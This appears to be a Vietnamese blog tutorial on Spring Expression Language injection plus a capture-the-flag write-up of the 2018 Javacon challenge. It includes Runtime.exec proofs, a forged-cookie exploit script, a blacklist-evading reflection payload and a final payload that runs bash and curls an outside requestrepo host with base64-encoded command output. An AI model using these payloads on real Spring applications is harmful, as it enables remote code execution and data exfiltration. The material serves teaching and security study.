JavaSec - SpEL Injection

JavaSec - SpEL Injection

·

6 min read

1. SpEl là gì?

Spring Expression Language (SpEL) là một loại ngôn ngữ biểu thức (Expression Language) được giới thiệu ở Spring 3. Tác dụng của SpEL cho phép ta truy vấn và thao tác đến các đối tượng trong Runtime, ngoài ra SpEL còn được sử dựng trong dynamic dependency injection. SpEL có thể được sử dụng dưới 3 dạng

  1. Thông qua Anotaion

  2. Thông qua XML

  3. Thông qua Spring Expression Interface

SpEL Injection chủ yếu khai thác thông qua cách dùng thứ 3.

2. Syntax SpEL

Một biểu thức SpEL sẽ nằm trong #{}

Ví dụ sử dụng SpEL trong file XML config:

Ta có Object HelloWorld

public class HelloWorld {
    private String message;

    public void setMessage(String message){
        this.message = message;
    }

    public void getMessage() {
        System.out.println("Your message: " + message);
    }
}

File Beans.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <bean id="helloWorld" class="com.example.demospel.HelloWorld">
        <property name="message" value="#{'endy'} is #{2810}" />
    </bean>

</beans>

File main

public static void main(String[] args) throws Exception{
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
        obj.getMessage();
}

Khi chạy hàm main ta được kết quả:

Ngoài ra SpEL còn có thể gọi method và properties của Object, tuy nhiên ta cần quan tâm đến một cú pháp đặc biệt trong SpEL là T(Type) , cú pháp này cho phép ta refer đến một kiểu dữ liệu hoặc class bất kỳ, khi refer tới class T(Type) còn có thể truy cập được properties và method của class đó

Ví dụ:

Beans.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <bean id="helloWorld" class="com.example.demospel.HelloWorld">
        <property name="message" value="#{'endy'} is #{T(java.lang.Math).random()}" />
    </bean>

</beans>

Kết quả:

Ví dụ gọi đến getRuntime.exec

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <bean id="helloWorld" class="com.example.demospel.HelloWorld">
        <property name="message" value="#{'endy'} is #{T(java.lang.Runtime).getRuntime().exec('calc')}" />
    </bean>

</beans>

Kết quả:

3. Sử dụng SpEL thông qua Spring Expression Interface

Khi code java ta có thể khai báo một chuỗi là expression và xử lý nó như SpEL bằng đoạn code sau

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' endyhehe').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
  • Dòng đầu tiên sẽ khởi tạo parser để parse chuỗi thành expression

  • Tiếp theo parse chuỗi ('Hello' + ' endyhehe').concat(#end) thành expression và lưu vào instance của class Expression

  • Tiếp theo khởi tạo class của EvaluationContext để đánh giá ngữ cảnh

  • Khi setVariable cho context ta sẽ khai báo ngữ cảnh, nói dễ hiểu là set chuỗi end thành một biến của Expression, khi dùng #end để gọi đến biến này, expression sẽ thay giá trị của #end thành !

  • Cuối cùng áp dụng context cho expression và in ra

Kết quả:

Tóm lại ta sẽ có 3 bước:

  • Parse chuỗi thành expression

  • Khai báo ngữ cảnh hay là context

  • Áp dụng context cho expression

Kiểu dùng này cũng hổ trợ T(Type)

Ví dụ:

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")");
System.out.println(expression.getValue());

Kết quả:

Ta thấy đoạn code trên không cần context vì trong expression T(java.lang.Runtime).getRuntime().exec(\"calc\") không sử dụng một biến nào hết nên không cần khai báo ngữ cảnh

Tiếp theo ta cần để ý đến một syntax đặt biệt nữa là #this#root

  • #this sẽ trả về context object được sử dụng trong expression

  • #root sẽ trả về root object của expression

Ví dụ:

ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("endy");
context.setVariable("variable", "2810");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

Kết quả:

#this#root sẽ trả về Object nên ta có thể lợi dụng để gọi đến getRuntime.exec

String result2 = parser.parseExpression("#root.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")").getValue(context, String.class);
System.out.println(result3);

Kết quả:

Ta thấy từ SpEL ta có thể gọi đến getRuntime.exec và thực thi bất kỳ câu os command nào , SpEL Injection là lỗ hổng lợi dụng điều này. Về bản chất SpEL Injection sẽ xảy ra nếu untrusted data rơi vào quá trình xử lý SpEL

4. Code-Breaking Puzzles 2018 - Javacon

Dùng các kiến thức ở trên, mình sẽ giải lại challage này : https://github.com/phith0n/code-breaking/tree/master/2018/javacon

Analysis

Sau khi dựng docker ta có được trang web như thế này

Đoạn code xử lý chính của web nằm ở file MainController . Và tại đây ta thấy đoạn code như sau:

Khi truy cập đường dẫn \ thì chương trình sẽ check cookie remember-me có tồn tại không, nếu có sẽ decrypt bằng hàm decryptRememberMe của userConfig . Khi decrypt thành công sẽ cho ta đăng nhập và gọi đến getAdvanceValue(username.toString()) trước khi return

Hàm getAdvanceValue() :

Đầu tiên nó sẽ check qua Blacklist trước, nếu có sẽ throw FORBIDEN, còn nếu không nó sẽ thực hiện parse và xử lý val chính là username như một SpEL

Blacklist bao gồm:

Okiee vậy thì đã biết được sinks, bây giờ phải làm thế nào để login đây

Exploit

Dùng chính hàm encryptRememberMe của challage để tạo cookie với username bất kỳ và key là c0dehack1nghere1 (trong file application.yml) và IV là 0123456789abcdef (được hardcode trong chương trình)

public class Exploit {
    public static void main(String[] args) {
        String encryptd = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "endy");
        System.out.println(encryptd);
    }
}

Kết quả:

Bây giờ chỉ cần đưa vào username là SpEL để RCE. Tuy nhiên ta phải thỏa 2 điều kiện sau:

Thứ nhất là phải bypass blacklist, điều này khá đơn giản khi chỉ cần dùng Reflection để bypass. Ví dụ thay vì T(java.lang.Runtime) thì ta sẽ dùng

T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")

Tương tự với getRuntimeexec ta có payload

T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"<command go here>"})

Thứ 2, là ta thấy cách dùng Expression của chương trình như sau

Khi parse thì ngoài nhận chuỗi đầu vào thì parser còn nhận thêm tham số thứ 2 là parserContext , khi nhận tham số này sẽ giúp parser nhận biết đâu là SpEl và đâu là String, mặc định khi khởi tạo với new TemplateParserContext() thì parserContext sẽ đánh dấu chuỗi nằm trong #{} là SpEL. Do đó để payload ta hoạt động ta cần wrap nó với #{} .

Tham khảo:

https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/ExpressionParser.html

https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/common/TemplateParserContext.html

Payload cuối cùng:

#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://s442vvl7.requestrepo.com/?a=`ls -lia|base64|tr '\\n' '-'`\"})}

Script:

public class Exploit {
    public static void main(String[] args) {
        String payload = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://s442vvl7.requestrepo.com/?a=`ls -lia|base64|tr '\\n' '-'`\"})}";
        String encryptd = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", payload);
        System.out.println(encryptd);
    }
}

Đọc flag

Refer

https://github.com/phith0n/code-breaking/tree/master/2018/javacon

https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#0x01-SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80

https://aluvion.github.io/2019/04/25/Java%E7%89%B9%E8%89%B2-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83/#Javacon